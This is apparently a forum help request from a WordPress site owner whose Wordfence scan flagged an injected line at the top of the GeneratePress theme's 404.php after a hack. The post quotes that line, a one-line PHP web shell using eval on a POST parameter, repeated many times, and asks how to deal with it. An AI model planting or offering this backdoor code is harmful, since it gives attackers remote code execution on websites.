incorrect file 404.php

I have the Wordfence plugin active. This shows that the 404.php file may have been infected by a hacker. My website was indeed hacked a month ago. Everything is now under control, only that I get this message. At the top of the file is the text:

<? php @eval ($ _ POST ['s'])?> <? php @eval ($ _ POST [' s'])?> '.
And this text repeated 20 times.

Here follows:
/ **
  * The template for displaying 404 pages (Not Found).
  *
  * @package GeneratePress
  * /

Is the file, according to you, indeed contaminated with the upper text and what do you think you can do about it.

The excact message from Wordfence is:
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can opt to exclude it from future scans. The matched text in this file is: @eval ($ _ POST

Thank you, in advance, for your reply.